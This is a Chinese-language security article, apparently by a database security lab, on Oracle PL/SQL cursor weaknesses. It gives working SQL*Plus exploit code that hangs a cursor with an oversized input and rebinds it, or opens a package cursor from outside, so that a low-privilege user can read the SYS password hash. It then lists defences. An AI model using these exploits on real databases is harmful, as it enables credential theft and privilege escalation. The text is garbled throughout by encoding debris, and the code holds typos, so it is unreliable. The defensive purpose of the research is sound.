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1、引言

SQL是面向集合的語言，其結(jié)果一般是集合量（含多條記錄），而pl/sql的變量是標(biāo)量，一組變量一次只能存放一條記錄。很多時(shí)候查詢結(jié)果的記錄 數(shù)是不確定的，無法提前聲明足夠的變量。于是引入了游標(biāo)的概念，游標(biāo)使得數(shù)據(jù)庫操作更靈活，但同時(shí)也給黑客入侵?jǐn)?shù)據(jù)庫帶來了機(jī)會(huì)。安華金和數(shù)據(jù)庫安全實(shí)驗(yàn) 室（DBSec Labs）基于游標(biāo)的應(yīng)用原理，本文討論游標(biāo)可能帶來什么安全隱患以及如何應(yīng)對(duì)這些安全隱患。

2.游標(biāo)的分類

oracle數(shù)據(jù)庫游標(biāo)是Pl/sql執(zhí)行DQL、DML等語句的時(shí)候，oracle在內(nèi)存中為其結(jié)果集分配一個(gè)緩沖區(qū)。游標(biāo)是指向該區(qū)的一個(gè)指 針、命名一個(gè)工作區(qū)或是一種結(jié)構(gòu)化數(shù)據(jù)類型。它為應(yīng)用程序提供了一種對(duì)結(jié)果集中每一行數(shù)據(jù)單獨(dú)處理的方法。oracle 游標(biāo)基本可以分為以下3類：顯式游標(biāo)、隱式游標(biāo)和動(dòng)態(tài)游標(biāo)（關(guān)系具體看下圖）。

游標(biāo)的核心功能在于，從表中檢索出結(jié)果集，每次指向一條記錄，與客戶端或應(yīng)用程序進(jìn)行交互，因此游標(biāo)是設(shè)計(jì)嵌入式SQL語句的應(yīng)用程序的常用編程方式。隨著游標(biāo)的廣泛使用，其本身的安全隱患也變得越來越突出。

3.游標(biāo)帶來的安全隱患

oracle游標(biāo)給數(shù)據(jù)庫帶來的安全隱患主要分為三大類：
 1. 缺乏異常處理，掛起的游標(biāo)被惡意利用

游標(biāo)將數(shù)據(jù)庫中相應(yīng)的信息存入內(nèi)存塊中，當(dāng)用戶打開游標(biāo)的時(shí)候，可以直接訪問游標(biāo)指向的內(nèi)存塊中存放的信息，而無需再訪問基表獲得數(shù)據(jù)。如果一個(gè)高 權(quán)限用戶建立一個(gè)游標(biāo)卻沒關(guān)閉該游標(biāo)，低權(quán)限用戶就有可能獲得游標(biāo)中存儲(chǔ)的關(guān)鍵信息，或向打開的游標(biāo)中注入惡意語句，進(jìn)行高權(quán)限運(yùn)行，達(dá)到提權(quán)或越權(quán)訪問 的目的。這就是游標(biāo)SNARF提權(quán)的基礎(chǔ)。

游標(biāo)不正常關(guān)閉基本是人為造成的，高權(quán)限用戶忘記關(guān)閉，或者游標(biāo)所在的子程序缺乏異常處理機(jī)制。如果沒有做相應(yīng)的異常處理，黑客很有可能制造異常，使游標(biāo)被一直掛起，利用未關(guān)閉的游標(biāo)，注入惡意代碼。再利用游標(biāo)自身的高權(quán)限執(zhí)行惡意代碼，進(jìn)行越權(quán)或者非法提權(quán)操作。
 下面試驗(yàn)用例由安華金和數(shù)據(jù)庫安全實(shí)驗(yàn)室提供：
 SQL> connect / as sysdba
 已連接。
 SQL> CREATE OR REPLACE PROCEDURE schina_test(P_USER VARCHAR) IS
 2 CURSOR_NAME INTEGER;
 3 PASSWORD VARCHAR2(30);
 4 I INTEGER;
 5 BEGIN
 6 CURSOR_NAME := DBMS_SQL.OPEN_CURSOR;
 7 DBMS_OUTPUT.PUT_LINE('CURSOR:'||CURSOR_NAME);
 8 DBMS_SQL.PARSE(CURSOR_NAME,'SELECT PASSWORD FROM
 9 SYS.DBA_USERS WHERE USERNAME=:schina',dbms_sql.native);
 10 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,:schina',P_USER);
 11 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PASSWORD,30)；
 12 I:=DBMS_SQL.EXECUTE(CURSOR_NAME)；
 13 IF PASSWORD = '01234567890ABCDEF' THEN
 14 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
 15 ELSE
 16 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
 17 END IF;
 18 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
 19 END;
 20 /
 PL/SQL 過程已成功完成。
 SQL> grant execute on schina_test to public;
 授權(quán)成功。

schina_test 是一個(gè)缺乏異常處理代碼的存儲(chǔ)過程，它的作用是對(duì)給定用戶找到其密碼hash值，然后和固定HASH值進(jìn)行比較并返回結(jié)果。open_cursor打開游 標(biāo)直到close_cursor或SQL會(huì)話終止游標(biāo)退出。由于缺乏異常代碼機(jī)制，用任意低權(quán)限賬號(hào)執(zhí)行這個(gè)存儲(chǔ)過程，可以觸發(fā)異常掛起游標(biāo)。
 SQL> connect scott/tiger
 已連接。
 SQL> set serveroutput on
 SQL> declare
 2 x varchar(40000);
 3 i integer;
 4 begin
 5 fro i in 1..10000 loop
 6 x:='b'||x;
 7 end loop;
 8 sys. schina_test (x);
 9 end;
 10 /

CURSOR 3241423

通過向p_user中輸入一個(gè)過長(zhǎng)的x，系統(tǒng)返回ORA-01460錯(cuò)誤。由于存儲(chǔ)過程schina_test中沒有對(duì)異常進(jìn)行處理，雖然存儲(chǔ)過程中關(guān)閉游標(biāo)了，但由于發(fā)生異常，導(dǎo)致游標(biāo)被掛起，同時(shí)并未真正關(guān)閉?？梢詫?duì)未關(guān)閉的游標(biāo)注入惡意語句，以達(dá)到所需要的效果。

2. oracle游標(biāo)漏洞提權(quán)

游標(biāo)提權(quán)漏洞就是在上面的基礎(chǔ)上利用被掛起的游標(biāo)，通過類似DBMS_SQL這種由系統(tǒng)定義的包，把游標(biāo)語句和高權(quán)限用戶進(jìn)行綁定。接著上面的例子通過DBMS_SQL綁定SYS，用戶直接獲取SYS的密碼HASH。
 SQL> DECLARE
 2 CURSOR_NAME INTEGER;
 3 I INTEGER;
 4 PWD VARCHAR2(30);
 5 BEGIN
 6 CURSOR_NAME:=3241423;
 7 DBMS_SQL.BIND_VARIABLE(CURSOR_NAME,':schina','SYS')；
 8 DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME,1,PWD,30)；
 9 I:=DBMS_SQL.EXECUTE(CURSOR_NAME)；
 10 IF DBMS_SQL.FETCH_ROWS(CURSOR_NAME)>0 THEN
 11 DBMS_SQL.COLUMN_VALUE(CURSOR_NAME,1,PWD);
 12 END IF;
 13 DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME)；
 14 DBMS_OUTPUT.PUT_LINE ('PWD:'||PWD);
 15 END；
 16 /

上述代碼是在獲取游標(biāo)值的前提下進(jìn)行的，因此在代碼聲明的地方寫入游標(biāo)值3241423。使用DBMS_SQL中的 BIND_VARIABLE(cursor_name,':schina',sys)將游標(biāo)和SYS用戶綁定。這樣執(zhí)行查詢SYS用戶。后臺(tái)數(shù)據(jù)庫真正運(yùn) 行的語句是：select password from sys.dba_users where username='sys'。DBMS_SQl.define_column函數(shù)的作用是將游標(biāo)中第一列的值返回給PWD變量。黑客在執(zhí)行完上述匿名塊 后，系統(tǒng)結(jié)果返回SYS密碼的HASH散列，使用HASH逆向工具進(jìn)行轉(zhuǎn)換就可以獲得SYS密碼明文，直接奪取數(shù)據(jù)庫最高權(quán)限。

3. oracle游標(biāo)設(shè)計(jì)本身的安全隱患

其實(shí)通過游標(biāo)獲取高權(quán)限賬號(hào)的密碼完全不用這么麻煩，oracle在游標(biāo)設(shè)計(jì)上本身就有安全問題。用高權(quán)限用戶寫一個(gè)包，這個(gè)包中放入一個(gè)游標(biāo)，功 能和前面用的schina_test是一致的。用來取回需要檢查賬號(hào)的hash。然后和我們給出的一組預(yù)設(shè)hash做對(duì)比。低權(quán)限用戶如果知道這個(gè)游標(biāo)可 以直接在包外調(diào)用該游標(biāo)，從而獲取游標(biāo)中的內(nèi)容。包內(nèi)游標(biāo)可以在包外被調(diào)用，這是oracle游標(biāo)本身設(shè)計(jì)上的安全缺陷。
 SQL> connect / as sysdba
 已連接。

SQL> CREATE OR REPLACE PACKAGE schina AS
 2 CURSOR X (USERNAME IN VARCHAR2) IS SELECT PASSWORD FROM SYS.USER$
 3 WHERE NAME=USERNAME;
 4 PROCEDURE CHECK_PASSWORD;
 5 END;
 6 /

程序包已創(chuàng)建。

SQL> CREATE OR REPLACE PACKAGE BODY schina AS
 2 PROCEDURE CHECK_PASSWORD IS
 3 PASSWORD VARCHAR2(200);
 4 BEGIN
 5 OPEN X (USER());
 6 FETCH X INTO PASSWORD;
 7 CLOSE X;
 8 IF PASSWORD = '01234567890ABCDEF' THEN
 9 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS NOT OK');
 10 ELSE
 11 DBMS_OUTPUT.PUT_LINE('YOUR PASSWORD HASH IS OK');
 12 END IF;
 13 END CHECK_PASSWORD;
 14 END;
 15 /

程序包體已創(chuàng)建。

SQL> show errors
 沒有錯(cuò)誤。
 SQL> GRANT EXECUTE ON SYS.SCHINA TO PUBLIC;

授權(quán)成功。

通過show errors檢驗(yàn)發(fā)現(xiàn)整個(gè)過程沒有X游標(biāo)掛起的問題。X游標(biāo)正常關(guān)閉了，到現(xiàn)在為止操作一切正常切換到低權(quán)限賬號(hào)
 SQL> connect scott/tiger
 已連接。
 SQL> set serveroutput on
 SQL> exec sys.schina.check_password;
 YOUR PASSWORD HASH IS OK

執(zhí)行包返回的結(jié)果很安全，不會(huì)顯示出游標(biāo)內(nèi)存儲(chǔ)的內(nèi)容，但如果通過一個(gè)匿名塊，在包外使用游標(biāo)的結(jié)果就變得不安全了，低權(quán)限用戶可以輕易使用高權(quán)限用戶設(shè)置的游標(biāo)。通過游標(biāo)直接可以獲取到游標(biāo)中存儲(chǔ)的結(jié)果集。
 SQL> DECLARE PASSWORD VARCHAR2(200);
 2 BEGIN OPEN SYS. SCHINA.X ('SYS');
 3 FETCH SYS. SCHINA.X INTO PASSWORD;
 4 CLOSE SYS. SCHINA.X;
 5 DBMS_OUTPUT.PUT_LINE('The SYS password is '|| PASSWORD);
 6 END;
 7 /
 The SYS password is CF10653F66A74AC2

任何權(quán)限賬號(hào)的密碼通過這種方式都會(huì)被低權(quán)限用戶直接獲取HASH值，然后通過HASH逆向工具，獲取全部賬號(hào)的密碼。

4.解決辦法

根據(jù)上一節(jié)游標(biāo)的安全隱患，我們摸清了游標(biāo)安全隱患的成因。本章講敘述如何防范這些安全隱患。

4.1防游標(biāo)被惡意掛起

1)單純的規(guī)范輸入驗(yàn)證過程，綁定變量已經(jīng)不能滿足游標(biāo)日益嚴(yán)峻的安全隱患威脅。應(yīng)當(dāng)對(duì)用戶可輸入?yún)?shù)的變量的長(zhǎng)度做更嚴(yán)格的限制，來防止觸發(fā)異 常。最基本辦法是按照用戶輸入?yún)?shù)的正常值的長(zhǎng)度來進(jìn)行限制，在用戶輸入?yún)?shù)后，先對(duì)參數(shù)進(jìn)行長(zhǎng)度校驗(yàn)。如果超過默認(rèn)長(zhǎng)度，直接拋棄該次輸入，這樣可以在 一定程度上減少異常發(fā)生的概率。

2)始終保持子程序中，有專門對(duì)付異常的異常處理機(jī)制。防止惡意輸入，導(dǎo)致游標(biāo)被掛起。當(dāng)異常發(fā)生的時(shí)候，保證會(huì)把游標(biāo)關(guān)閉。

4.2防游標(biāo)漏洞提權(quán)

在前面提到的利用游標(biāo)進(jìn)行提權(quán)的技術(shù)核心是利用DBMS_SQL包中的一些帶有varchar參數(shù)的函數(shù)，尤其是DBMS_sql.parse函數(shù)是完成游標(biāo)注入類攻擊。攻擊者正是通過這個(gè)函數(shù)完成將惡意代碼注入到函數(shù)中，并將惡意代碼與游標(biāo)綁定。

于是最直接的想法是通過撤銷DBMS_SQL的PUBLIC權(quán)限來限制低權(quán)限用戶對(duì)DBMS_SQL的利用。但整個(gè)oracle中至少有170個(gè)對(duì) 象依賴于DBMS_SQL。如果撤銷DBMS_SQL的公共權(quán)限，將會(huì)造成很多操作上的麻煩。雖然DBMS_SQL提供了注入的土壤，但如果我們對(duì)DDL 語句加以限制也可以從另一個(gè)角度阻止黑客利用DBMS_SQL對(duì)數(shù)據(jù)庫進(jìn)行惡意攻擊。限制DDL語句有3種方式：

1）通過權(quán)限進(jìn)行控制。

2）通過BEFORE型的安全觸發(fā)器進(jìn)行控制。

3）通過防火墻進(jìn)行控制。

安華金和數(shù)據(jù)庫安全專家經(jīng)過很多測(cè)試分析發(fā)現(xiàn)，當(dāng)用戶量少的時(shí)候DBA可以對(duì)每個(gè)用戶進(jìn)行逐個(gè)權(quán)限設(shè)置，但如果用戶量大，逐個(gè)權(quán)限設(shè)置既不現(xiàn)實(shí)也不 準(zhǔn)確。這時(shí)推薦采用數(shù)據(jù)庫防火墻和BEFORE型的安全觸發(fā)器?？梢栽谟脩魣?zhí)行DDL語句之前觸發(fā)來返回一個(gè)自定義系統(tǒng)錯(cuò)誤，告知用戶沒有執(zhí)行DDL權(quán) 限，這樣就可以達(dá)到限制用戶執(zhí)行DDL的目的了。但是如果想更精確的限制用戶DDL語句，使用數(shù)據(jù)庫防火墻可以比采用觸發(fā)器更方便和更靈活。

4.3防游標(biāo)設(shè)計(jì)缺陷

oracle全局游標(biāo)設(shè)計(jì)存在問題，游標(biāo)可以在被定義的包外打開，低權(quán)限用戶正常操作，很可能就會(huì)獲取到高權(quán)限才可以看到的敏感信息。如果在可選的 情況下，盡量不使用游標(biāo)，如果要使用游標(biāo)，盡量使用局部游標(biāo)（無法在游標(biāo)定義包外打開的游標(biāo)）。最后如果一定要使用全局游標(biāo)，安華金和數(shù)據(jù)庫安全專家提示 可以通過數(shù)據(jù)庫防火墻或者觸發(fā)器對(duì)調(diào)用游標(biāo)的用戶進(jìn)行檢查。如果發(fā)現(xiàn)該用戶權(quán)限低于創(chuàng)建游標(biāo)的用戶，則禁止該游標(biāo)被用戶打開，否則用戶可以正常調(diào)用該游 標(biāo)。

4.4建議

游標(biāo)作為oracle的核心子程序，安全性十分重要。但oracle的游標(biāo)雖然解決了一些問題，但咱安全性上還有很大問題。安華金和建議 Oracle給游標(biāo)一個(gè)參數(shù)，作為安全參數(shù)。默認(rèn)打開安全參數(shù)，當(dāng)游標(biāo)在其被定義的包外打開的時(shí)候，對(duì)游標(biāo)進(jìn)行強(qiáng)制檢查，一旦發(fā)現(xiàn)打開該游標(biāo)的用戶權(quán)限低 于創(chuàng)建游標(biāo)者的權(quán)限，則直接拋出異常，禁止打開該游標(biāo)。

5.結(jié)束語

本文從安全角度來分析oracle游標(biāo)。從三個(gè)不同角度發(fā)現(xiàn)oracle游標(biāo)存在大量的安全隱患。其中有DBA失誤造成的，也有oracle漏洞引 起的，但最嚴(yán)重的是oracle的全局游標(biāo)本身設(shè)計(jì)上的問題。為了保護(hù)敏感信息，可以通過權(quán)限設(shè)置，創(chuàng)建觸發(fā)器，部署數(shù)據(jù)庫防火墻等多種方法進(jìn)行防護(hù)。但 最重要的還是希望oracle可以對(duì)游標(biāo)設(shè)置一個(gè)安全參數(shù)。對(duì)在包外打開的游標(biāo)的調(diào)用者進(jìn)行資格審核。只有這樣才能從機(jī)制上解決Oracle游標(biāo)的安全隱 患。